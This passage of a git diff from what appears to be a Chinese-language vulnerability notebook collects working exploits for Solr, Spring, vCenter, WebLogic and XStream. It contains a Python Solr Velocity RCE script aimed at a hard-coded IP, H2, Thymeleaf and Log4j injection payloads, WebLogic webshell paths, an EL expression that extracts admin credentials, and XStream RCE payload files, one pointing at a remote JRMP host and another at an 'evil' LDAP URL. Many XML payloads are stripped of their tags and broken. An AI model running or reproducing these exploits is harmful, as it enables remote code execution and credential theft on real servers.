20%20%0a%20%20%20%20%20%20%20%20%20%20%20"
+ burp0_url = url+"/solr/"+info+"/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig="+text
+ burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0",
+ "Accept": "application/json, text/plain, */*",
+ "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
+ "Accept-Encoding": "gzip, deflate",
+ "content-type": "multipart/form-data; boundary=------------------------aceb88c2159f183f"}
+ burp0_data = "\r\n--------------------------aceb88c2159f183f\r\nContent-Disposition: form-data; name=\"stream.body\"\r\n\r\n\r\n\r\n \r\n\r\n\r\n--------------------------aceb88c2159f183f--"
+ requests_post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
+ print(requests_post.json()['documents'])
+
+if __name__ == '__main__':
+ info = getinfo("http://101.35.196.173:8983")
+ # exp1("http://101.35.196.173:8983",info,"ls /tmp/")
+ exp2("http://101.35.196.173:8983",info,'ls /tmp/')
+```
+
+**jndi注入**
+
+```
+
+
+
+
+
+
+
+```
+
+## CVE-2019-17558
+
+https://github.com/jas502n/solr_rce
+
+```python
+# -*- coding: utf-8 -*
+# /usr/bin/python3
+# @Author:Firebasky
+# 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。
+import requests
+
+url ="http://101.35.196.173:8983"
+cmd ="ls"
+
+burp0_url = url + "/solr/admin/cores?wt=json"
+r = requests.get(burp0_url, verify=False, allow_redirects=False)
+a = list(r.json()['status'].keys())
+
+burp0_url = url+"/solr/"+a[0]+"/config"
+burp0_headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/json"}
+burp0_json={"update-queryresponsewriter": {"class": "solr.VelocityResponseWriter", "name": "velocity", "params.resource.loader.enabled": "true", "solr.resource.loader.enabled": "true", "startup": "lazy", "template.base.dir": ""}}
+requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
+
+burp0_url = url+"/solr/"+a[0]+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
+burp0_headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
+get = requests.get(burp0_url, headers=burp0_headers)
+print(get.text)
+```
+
+## 任意文件删除
+
+https://mp.weixin.qq.com/s/JXBiQR3q7ykITVFBwm_9Vg
diff --git a/Spring/Readme.md b/Spring/Readme.md
index 93a82aa..d48eb5c 100644
--- a/Spring/Readme.md
+++ b/Spring/Readme.md
@@ -4,3 +4,19 @@
+ [cve-2016-4977]()
+ [cve-2017-4971]()
+ [cve-2018-1270]()
+
+## Spring Security
++ [Spring Security / MVC Path Matching Inconsistency(CVE-2016-5007)](https://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&mid=2650173852&idx=1&sn=6b4a6c36c456b5e475b5247451c6dd81&chksm=833cf5aeb44b7cb895e1f67f8f6680e1a22124ce5e9e38d8a5e5321099f40e8acc01ac9e3c85&scene=4#wechat_redirect)
+
+```
+/%0dadmin
+```
+
++ [CVE-2022-22978 Spring Security RegexRequestMatcher 认证绕过漏洞与利用场景分析](https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247490023&idx=1&sn=f7e654f69ceca1ff437d9431bdd8ffa7&chksm=cefda0f3f98a29e5556a31b28ba231613e49b0ff40fcee651fac351adc6376e2ad2b72509dbf&mpshare=1&scene=23&srcid=0521LQrB49HRCgrnaPZOD2ys&sharer_sharetime=1653110684149&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd)
+
+原理就是默认情况下, 正则表达式中点(.)不会匹配换行符, 设置了Pattern.DOTALL模式, 才会匹配所有字符包括换行符。从而绕过
+
+
+
+
+小知识:[Java中正则表达式(regex)匹配多行(Pattern.MULTILINE和Pattern.DOTALL模式)](https://www.cjavapy.com/article/68/)
diff --git a/Springboot/CVE-2021-21234/Readme.md b/Springboot/CVE-2021-21234/Readme.md
new file mode 100644
index 0000000..3dda468
--- /dev/null
+++ b/Springboot/CVE-2021-21234/Readme.md
@@ -0,0 +1,5 @@
+# Spring Boot 目录遍历(CVE-2021-21234)
+
+>spring-boot-actuator-logview 是一个简单的日志文件查看器作为Spring Boot执行器端点,在 0.2.13 版本之前存在着目录遍历漏洞,编号 CVE-2021-21234。漏洞本质是Spring Boot 执行器通过请求的参数来指定文件名和文件夹路径,经过组合拼接达到目录遍历,虽然源码中检查了文件名(filename)参数来防止目录遍历,但是没有检查文件夹(base)参数,造成了目录遍历
+
+https://www.freebuf.com/vuls/293243.html
diff --git a/Springboot/Readme.md b/Springboot/Readme.md
new file mode 100644
index 0000000..63baee0
--- /dev/null
+++ b/Springboot/Readme.md
@@ -0,0 +1,17 @@
+# Springboot 漏洞
+
+参考:https://github.com/LandGrey/SpringBootVulExploit
+写的非常全.
+
+**该系列漏洞主要是通过env的配置接口进行配置,刷新或者重启触发漏洞**
+
+补:0x07:h2 database console JNDI RCE
+
+限制:
+开启 -webAllowOthers 选项,支持外网访问
+开启 -ifNotExists 选项,支持创建数据库
+
+不需要出网利用:
+```
+language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=org.h2.Driver&url=jdbc%3ah2%3amem%3atest%3bMODE%3dMSSQLServer%3binit%3dCREATE+TRIGGER+shell3+BEFORE+SELECT+ON+INFORMATION_SCHEMA.TABLES+AS+$$//javascript%0a%0ajava.lang.Runtime.getRuntime().exec('cmd+/c+calc.exe')$$&user=sa&password=
+```
diff --git a/Springcolud/Readme.md b/Springcolud/Readme.md
new file mode 100644
index 0000000..ffe3da9
--- /dev/null
+++ b/Springcolud/Readme.md
@@ -0,0 +1,61 @@
+# Springcolud
+
+## CVE-2021-22053
+
+>今天有幸看到了三梦师傅写的[CVE-2021-22053: Spring Cloud Netflix Dashboard template resolution vulnerability](https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053) poc,在好自己最近在看spring-cloud这些微服务,然后就简单的看了看学习。
+
+先简单的介绍一下**hystrix**
+
+## Hystrix
+
+容错监控机制
+
+也就是微服务的容错机制是提前预设解决⽅案,系统进⾏⾃主调节,遇到问题及时处理
+
+### Hystrix的优点
+
+```
+服务隔离机制
+服务降级机制
+熔断机制
+提供实时的监控和报警功能
+提供实时的配置修改功能
+```
+
+而hystrix-dashboard 就是可视化界⾯组件。
+
+所以简单的说spring-cloud-starter-netflix-hystrix-dashboard 就是springcolud中的一个组件,是**Hystrix** 容错监控机制的可视化界⾯组件。
+
+
+
+## 复现
+
+三梦师傅也说明了漏洞版本
+
+漏洞版本:spring-cloud-starter-netflix-hystrix-dashboard **2.2.0.RELEASE to 2.2.9.RELEASE**
+
+并且三梦师傅提供了漏洞环境,本地搭建起测试了一下,成功利用。
+
+
+
+
+## 分析
+
+还是经典的对比分析,对比漏洞版本和fix版本
+
+
+
+
+可以发现漏洞版本对{path}变量可以控制,熟悉**Thymeleaf**模板注入的师傅一眼就可以看出来了。
+
+在该版本依赖的Thymeleaf组件版本是3.0.12。正好三梦师傅师傅之前写过文章bypass。前几天panda师傅也发了文章关于这部分进行介绍。
+
+
+
+
+poc
+
+```http
+http://127.0.0.1:8080/hystrix/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x/
+```
+
diff --git a/Struts2/README.md b/Struts2/README.md
index bbe2332..5f8b882 100644
--- a/Struts2/README.md
+++ b/Struts2/README.md
@@ -19,3 +19,8 @@
[漏洞版本](http://archive.apache.org/dist/struts/binaries/)

+
+## TODO
+分析各个s2 漏洞
+s2-62 和新的 [https://mc0wn.blogspot.com/2022/11/rce-on-apache-struts-2530.html](https://mc0wn.blogspot.com/2022/11/rce-on-apache-struts-2530.html)
+
diff --git a/Undertow/Readme.md b/Undertow/Readme.md
new file mode 100644
index 0000000..16d8a83
--- /dev/null
+++ b/Undertow/Readme.md
@@ -0,0 +1,5 @@
+# Undertow
+
+https://blog.csdn.net/hollis_chuang/article/details/104470945
+
+http://blog.hubwiz.com/2016/12/01/webserver-Undertow/
diff --git a/VMware vCenter/Readme.md b/VMware vCenter/Readme.md
new file mode 100644
index 0000000..a4ff167
--- /dev/null
+++ b/VMware vCenter/Readme.md
@@ -0,0 +1,101 @@
+# vcenter
+
+### 版本查看
+
+```
+/sdk/vimServiceVersions.xml
+```
+
+### VMware vCenter Server 任意文件读取漏洞
+
+[VMware vCenter Server 任意文件读取漏洞](https://forum.90sec.com/t/topic/1582)
+
+endpoint
+```
+/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
+```
+
+### CVE-2021-21972
+
+[VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识](https://mp.weixin.qq.com/s/eamNsLY0uKHXtUw_fiUYxQ)
+
+[CVE-2021-21972 vCenter Server 文件写入漏洞分析](https://blog.noah.360.net/vcenter-6-5-7-0-rce-lou-dong-fen-xi/)
+
+```
+VMware vCenter Server 7.0系列 < 7.0.U1c
+VMware vCenter Server 6.7系列 < 6.7.U3l
+VMware vCenter Server 6.5系列 < 6.5 U3n
+VMware ESXi 7.0系列 < ESXi70U1c-17325551
+VMware ESXi 6.7系列 < ESXi670-202102401-SG
+VMware ESXi 6.5系列 < ESXi650-202102101-SG
+```
+
+endpoint
+
+```
+/ui/vropspluginui/rest/services/uploadova
+```
+
+### CVE-2021-21985
+
+[CVE-2021-21985 VMware vCenter Server远程代码执行漏洞分析](https://www.ghtwf01.cn/2022/07/31/CVE-2021-21985%20VMware%20vCenter%20Server%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
+
+```
+VMware vCenter Server 7.0系列 < 7.0.U2b
+VMware vCenter Server 6.7系列 < 6.7.U3n
+VMware vCenter Server 6.5系列 < 6.5 U3p
+VMware Cloud Foundation 4.x 系列 < 4.2.1
+VMware Cloud Foundation 4.x 系列 < 3.10.2.1
+```
+
+### CVE-2021-22005
+
+[vCenter RCE 详细分析过程 (CVE-2021–22005)](https://cloud.tencent.com/developer/article/1887641)
+
+```
+VMware vCenter Server 7.0
+VMware vCenter Server 6.7 Running On Virtual Appliance
+VMware Cloud Foundation (vCenter Server) 4.x
+VMware Cloud Foundation (vCenter Server) 3.x
+```
+
+### Log4j
+
+endpoint
+
+```
+/websso/SAML2/SSO/vsphere.local?SAMLRequest=
+
+X-Forwarded-For: ${jndi:ldap://exp}
+```
+
+
+
+### CVE-2022-31680
+
+[CVE-2022-31680](https://talosintelligence.com/vulnerability_reports/TALOS-2022-1587)
+
+```
+GET /psc/data/constraint/amJzMXszAAAAATMAAAACAAAIRW1wbG95ZWUAASL6C7Hsp5eXAAKXEjO-44rgaCk1FZKH_mF7AQQAAAADAAAGTWFyY2luAAB6aQ HTTP/1.1
+Host: 192.168.0.109
+Cookie: JSESSIONID=D8E403940B6B595FF53158ED63671A69; XSRF-TOKEN=b28efbac-6d3c-4fcb-b177-baee9c1e005e; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; VSPHERE-CLIENT-SESSION-INDEX=_87577cc1f7ac5bba20fe8d947d9ffcfe
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
+Accept: application/json, text/plain, */*
+Accept-Language: pl,en-US;q=0.7,en;q=0.3
+Accept-Encoding: gzip, deflate
+Pragma: no-cache
+Isangularrequest: true
+X-Xsrf-Token: b28efbac-6d3c-4fcb-b177-baee9c1e005e
+Referer: https://192.168.0.109/psc/
+Sec-Fetch-Dest: empty
+Sec-Fetch-Mode: cors
+Sec-Fetch-Site: same-origin
+Te: trailers
+Connection: close
+```
+
+### 后续利用
+
+[VMware vCenter漏洞实战利用总结](https://mp.weixin.qq.com/s/0gg5TDEtL3lCb9pOnm42gg)
+
+[Vcenter实战利用方式总结](https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247499057&idx=1&sn=24ce83c75152529f2b8ef8543162a734&chksm=cfa55922f8d2d0349b97211fdf45df6c78b26ace580b68579817ed67760aaface17348529cf3&mpshare=1&scene=23&srcid=10245pAGxEFHmXFGCMoKjGdB&sharer_sharetime=1666572610152&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd)
diff --git a/Weblogic/Readme.md b/Weblogic/Readme.md
new file mode 100644
index 0000000..b594381
--- /dev/null
+++ b/Weblogic/Readme.md
@@ -0,0 +1,31 @@
+# Weblogic
+
+http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86
+
+https://www.yuque.com/tianxiadamutou/zcfd4v/aevpg0
+
+http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/
+
+https://y4er.com/post/weblogic-jrmp/
+
+http://drops.xmd5.com/static/drops/web-13470.html
+
+https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704
+
+http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
+
+## 内存木马
+https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g
+
+https://www.shuzhiduo.com/A/gVdnM4685W/
+
+https://xz.aliyun.com/t/10323#toc-49
+
+https://github.com/Y4er/WebLogic-Shiro-shell
+
+https://kuron3k0.github.io/2021/04/23/weblogic-memshell-1/
+
+https://kuron3k0.github.io/2021/04/29/weblogic-memshell-2/
+
+https://www.cnblogs.com/bitterz/p/14970230.html
+
diff --git a/Weblogic/Weblogic trick.md b/Weblogic/Weblogic trick.md
new file mode 100644
index 0000000..6153bc9
--- /dev/null
+++ b/Weblogic/Weblogic trick.md
@@ -0,0 +1,29 @@
+## Weblogic trick
+
+## 写文件rce
+
+```
+\server\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\shell.jsp
+访问:\bea_wls_internal\shell.jsp
+
+
+\server\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
+访问:\console\framework\skins\wlsconsole\images\shell.jsp
+
+\server\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
+访问:\uddiexplorer\shell.jsp
+
+\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
+
+访问:\项目名\shell.jsp
+```
+
+### 获得用户密码
+
+https://github.com/TideSec/Decrypt_Weblogic_Password
+
+el表达式
+
+```java
+${pageContext.setAttribute("classLoader",Thread.currentThread().getContextClassLoader());pageContext.setAttribute("httpDataTransferHandler",pageContext.getAttribute("classLoader").loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler"));pageContext.setAttribute("managementService", pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.ManagementService"));pageContext.setAttribute("authenticatedSubject",pageContext.getAttribute("classLoader").loadClass("weblogic.security.acl.internal.AuthenticatedSubject"));pageContext.setAttribute("propertyService",pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.PropertyService"));pageContext.setAttribute("KERNE_ID",pageContext.getAttribute("httpDataTransferHandler").getDeclaredField("KERNE_ID"));pageContext.getAttribute("KERNE_ID").setAccessible(true);pageContext.setAttribute("getPropertyService",managementService.getMethod("getPropertyService",pageContext.getAttribute("authenticatedSubject")));pageContext.getAttribute("getPropertyService").setAccessible(true);pageContext.setAttribute("prop",pageContext.getAttribute("getPropertyService").invoke(null,pageContext.getAttribute("KERNE_ID").get((null))));pageContext.setAttribute("getTimestamp1",propertyService.getMethod("getTimestamp1"));pageContext.getAttribute("getTimestamp1").setAccessible(true);pageContext.setAttribute("getTimestamp2",propertyService.getMethod("getTimestamp2"));pageContext.getAttribute("getTimestamp2").setAccessible(true);pageContext.setAttribute("username", pageContext.getAttribute("getTimestamp1").invoke(pageContext.getAttribute("prop")));pageContext.setAttribute("password",pageContext.getAttribute("getTimestamp2").invoke(pageContext.getAttribute("prop")));pageContext.getAttribute("username").concat("/").concat(pageContext.getAttribute("password"))}
+```
diff --git a/Weblogic/img/image-20210815001234456.png b/Weblogic/img/image-20210815001234456.png
new file mode 100644
index 0000000..418450f
Binary files /dev/null and b/Weblogic/img/image-20210815001234456.png differ
diff --git a/Weblogic/img/image-20210815103726507.png b/Weblogic/img/image-20210815103726507.png
new file mode 100644
index 0000000..d433ccc
Binary files /dev/null and b/Weblogic/img/image-20210815103726507.png differ
diff --git a/Weblogic/img/image-20210815103750342.png b/Weblogic/img/image-20210815103750342.png
new file mode 100644
index 0000000..da8aa57
Binary files /dev/null and b/Weblogic/img/image-20210815103750342.png differ
diff --git a/Weblogic/img/image-20210815110026954.png b/Weblogic/img/image-20210815110026954.png
new file mode 100644
index 0000000..b2c83b0
Binary files /dev/null and b/Weblogic/img/image-20210815110026954.png differ
diff --git a/Weblogic/img/image-20210815110029190.png b/Weblogic/img/image-20210815110029190.png
new file mode 100644
index 0000000..b2c83b0
Binary files /dev/null and b/Weblogic/img/image-20210815110029190.png differ
diff --git a/Weblogic/img/image-20210815153940829.png b/Weblogic/img/image-20210815153940829.png
new file mode 100644
index 0000000..6e1fe42
Binary files /dev/null and b/Weblogic/img/image-20210815153940829.png differ
diff --git a/Xstream/Readme.md b/Xstream/Readme.md
new file mode 100644
index 0000000..73dc6d9
--- /dev/null
+++ b/Xstream/Readme.md
@@ -0,0 +1,144 @@
+# Xstream
+
+>该项目是为了整理Xstream的exp,有一些没有测试成功,欢迎pr。
+>
+>本来想写一个工具了生成exp,然后感觉这样整理出来也比较方便。。。。。懒。。
+
+| XStream 远程代码执行漏洞 | CVE-2013-7285 | 1.4.x
+
+
+ java.lang.Comparable
+
+
+
+ calc.exe
+
+
+ start
+
+
+
+```
+
+
+
+```xml
+1. 16进制绕过
+
+
+
+当前黑名单为org[.]springframework,此时的绕过方法可以为
+
+
+
+2. 针对标签属性内容的绕过
+
+
+
+此时的黑名单为custom,那么绕过方法可以为
+
+
+
+原理为读取属性内容时,会做符合要求的转化
+
+3. 针对标签内容的绕过
+
+ldap://xxxxx
+
+此时的黑名单为ldap://,可以用如下的几种方法绕过
+
+html编码:
+这部分在提取数据时,同样对html编码的内容做了转化
+
+ldap://xxxxx
+
+
+注释的方法:
+在处理实际的标签内容时,遇到注视内容将被忽略掉
+
+ldap://xxxxx
+
+```
+
+
+## 工具生成poc
+
+
+```
+java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream
+```
+
+
+
+配合yso生成xstream的exp。添加Xstream组件依赖
+
+```java
+package ysoserial.exploit;
+
+import clojure.lang.IFn;
+import com.thoughtworks.xstream.XStream;
+import ysoserial.payloads.ObjectPayload;
+
+@SuppressWarnings({
+ "rawtypes"
+})
+
+public class Xstream {
+ public static void main(String[] args) {
+ if(args.length<2){
+ System.out.println("exit");
+ }
+ final Object payloadObject = ObjectPayload.Utils.makePayloadObject(args[0],args[1]);
+ com.thoughtworks.xstream.XStream xstream = new XStream();
+ //System.out.println(payloadObject);
+ String s = xstream.toXML(payloadObject);
+ System.out.println(s);
+ ObjectPayload.Utils.releasePayload(args[0],payloadObject);
+ }
+}
+```
+
+
+
diff --git a/Xstream/exp/CSRF/CVE-2021-21349.xml b/Xstream/exp/CSRF/CVE-2021-21349.xml
new file mode 100644
index 0000000..fbaee11
--- /dev/null
+++ b/Xstream/exp/CSRF/CVE-2021-21349.xml
@@ -0,0 +1 @@
+no find...
\ No newline at end of file
diff --git a/Xstream/exp/DOS/CVE-2017-7957.xml b/Xstream/exp/DOS/CVE-2017-7957.xml
new file mode 100644
index 0000000..fbaee11
--- /dev/null
+++ b/Xstream/exp/DOS/CVE-2017-7957.xml
@@ -0,0 +1 @@
+no find...
\ No newline at end of file
diff --git a/Xstream/exp/DOS/CVE-2021-21348.xml b/Xstream/exp/DOS/CVE-2021-21348.xml
new file mode 100644
index 0000000..fbaee11
--- /dev/null
+++ b/Xstream/exp/DOS/CVE-2021-21348.xml
@@ -0,0 +1 @@
+no find...
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2013-7285-2.xml b/Xstream/exp/RCE/CVE-2013-7285-2.xml
new file mode 100644
index 0000000..1a29a2c
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2013-7285-2.xml
@@ -0,0 +1,20 @@
+
+
+ fookey
+ foovalue
+
+
+
+ java.lang.Comparable
+
+
+
+ calc.exe
+
+
+ start
+
+
+ good
+
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2013-7285.xml b/Xstream/exp/RCE/CVE-2013-7285.xml
new file mode 100644
index 0000000..9363080
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2013-7285.xml
@@ -0,0 +1,16 @@
+
+ foo
+
+ java.lang.Comparable
+
+
+
+ cmd
+ /C
+ calc
+
+
+ start
+
+
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2019-10173.xml b/Xstream/exp/RCE/CVE-2019-10173.xml
new file mode 100644
index 0000000..9363080
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2019-10173.xml
@@ -0,0 +1,16 @@
+
+ foo
+
+ java.lang.Comparable
+
+
+
+ cmd
+ /C
+ calc
+
+
+ start
+
+
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2020-26217.xml b/Xstream/exp/RCE/CVE-2020-26217.xml
new file mode 100644
index 0000000..7bab753
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2020-26217.xml
@@ -0,0 +1,54 @@
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-21344.xml b/Xstream/exp/RCE/CVE-2021-21344.xml
new file mode 100644
index 0000000..35886a2
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2021-21344.xml
@@ -0,0 +1,103 @@
+
+
+
+
+ 2
+
+
+
+
+
+
+
+
+ com.sun.rowset.JdbcRowSetImpl
+
+
+
+
+ com.sun.rowset.JdbcRowSetImpl
+ getDatabaseMetaData
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ 1
+
+
+ UTF-8
+
+
+
+
+
+
+
+
+ 1008
+ true
+ 1000
+ 0
+ 2
+ 0
+ 0
+ 0
+ true
+ 1004
+ false
+ {rmi}
+
+
+
+
+
+
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+ -1
+
+
+ foo
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 3
+ javax.xml.ws.binding.attachments.inbound
+ javax.xml.ws.binding.attachments.inbound
+
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-21345.xml b/Xstream/exp/RCE/CVE-2021-21345.xml
new file mode 100644
index 0000000..d5b57da
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2021-21345.xml
@@ -0,0 +1,59 @@
+
+
+
+
+ 2
+
+
+
+
+
+
+
+
+ com.sun.corba.se.impl.activation.ServerTableEntry
+
+
+
+
+ com.sun.corba.se.impl.activation.ServerTableEntry
+ verify
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ 1
+
+
+ UTF-8
+
+
+
+
+
+
+ {cmd}
+
+
+
+
+
+
+
+
+
+ 3
+ javax.xml.ws.binding.attachments.inbound
+ javax.xml.ws.binding.attachments.inbound
+
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-21346.xml b/Xstream/exp/RCE/CVE-2021-21346.xml
new file mode 100644
index 0000000..fbaee11
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2021-21346.xml
@@ -0,0 +1 @@
+no find...
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-21347.xml b/Xstream/exp/RCE/CVE-2021-21347.xml
new file mode 100644
index 0000000..148ca8c
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2021-21347.xml
@@ -0,0 +1 @@
+no find..
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-21350.xml b/Xstream/exp/RCE/CVE-2021-21350.xml
new file mode 100644
index 0000000..148ca8c
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2021-21350.xml
@@ -0,0 +1 @@
+no find..
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-21351.xml b/Xstream/exp/RCE/CVE-2021-21351.xml
new file mode 100644
index 0000000..c5895a2
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2021-21351.xml
@@ -0,0 +1,74 @@
+
+
+ ysomap
+
+
+
+ -10086
+
+ <__overrideDefaultParser>false
+ false
+ false
+
+
+
+
+
+ false
+ false
+
+
+
+
+ 1008
+ true
+ 1000
+ 0
+ 2
+ 0
+ 0
+ 0
+ true
+ 1004
+ false
+ {rmi}
+
+
+
+
+
+
+
+
+
+ com.sun.rowset.JdbcRowSetImpl
+ setAutoCommit
+
+ boolean
+
+
+
+ false
+
+
+ false
+
+ false
+
+ -1
+ false
+ false
+
+ 1
+
+ 1
+ false
+
+
+
+ ysomap
+
+ test
+
+
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-29505.xml b/Xstream/exp/RCE/CVE-2021-29505.xml
new file mode 100644
index 0000000..2ba3040
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2021-29505.xml
@@ -0,0 +1,55 @@
+
+
+
+
+ 2
+
+ 3
+
+ 12345
+
+ com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content
+
+
+
+ 12345
+
+
+ true
+ SOAP_11
+
+
+ false
+
+
+
+
+ aa
+ aa
+
+
+
+
+
+ UnicastRef
+ 1.116.136.120
+ 2333
+ 0
+ 0
+ 0
+ 0
+ false
+
+
+ 1.116.136.120
+ 2333
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-39141.xml b/Xstream/exp/RCE/CVE-2021-39141.xml
new file mode 100644
index 0000000..65432a3
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2021-39141.xml
@@ -0,0 +1,172 @@
+
+
+
+
+ 2
+
+ 3
+
+ java.lang.Comparable
+
+
+ false
+
+
+
+
+ java.lang.Comparable
+ compareTo
+
+ java.lang.Object
+
+
+
+
+
+ 0
+
+
+ PLAIN
+
+
+
+ false
+
+ int
+
+ hash
+ java.lang.String
+
+
+ false
+
+
+ hash
+
+
+
+ java.lang.String
+
+ javax.naming.InitialContext
+ doLookup
+
+ java.lang.String
+
+
+
+
+
+
+ serialPersistentFields
+
+ [Ljava.io.ObjectStreamField;
+
+ serialPersistentFields
+ java.lang.String
+
+
+
+
+ CASE_INSENSITIVE_ORDER
+
+ java.util.Comparator
+
+ CASE_INSENSITIVE_ORDER
+ java.lang.String
+
+
+
+
+ serialVersionUID
+
+ long
+
+ serialVersionUID
+ java.lang.String
+
+
+
+
+ value
+
+ [C
+
+ value
+ java.lang.String
+
+
+
+
+ hash
+
+ int
+
+
+
+
+
+
+ serialPersistentFields
+
+ [Ljava.io.ObjectStreamField;
+
+
+
+
+ CASE_INSENSITIVE_ORDER
+
+ java.util.Comparator
+
+
+
+
+ serialVersionUID
+
+ long
+
+
+
+
+ value
+
+ [C
+
+
+
+
+ hash
+
+
+
+ false
+ java.lang.String
+
+
+
+
+ java.lang.Object
+
+ false
+
+ false
+
+
+
+ false
+
+
+
+
+
+
+
+ false
+ false
+
+
+
+
+
+ ldap://127.0.0.1:15000/#evil
+
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-39144.xml b/Xstream/exp/RCE/CVE-2021-39144.xml
new file mode 100644
index 0000000..b71988b
--- /dev/null
+++ b/Xstream/exp/RCE/CVE-2021-39144.xml
@@ -0,0 +1,38 @@
+
+
+
+
+ 2
+
+ 3
+
+ java.lang.Comparable
+
+ true
+ java.lang.Comparable
+
+
+
+ java.lang.Comparable
+ compareTo
+
+ java.lang.Object
+
+
+
+
+
+ java.lang.Runtime
+ exec
+
+ java.lang.String
+
+
+
+
+
+
+
+ calc
+
+
\ No newline at end of file
diff --git a/Xstream/exp/RCE/CVE-2021-39146.xml b/Xstream/exp/RCE/CVE-2021-39146.xml
new file mode 100644
index 0000000..dbc66e1
--- /dev/null
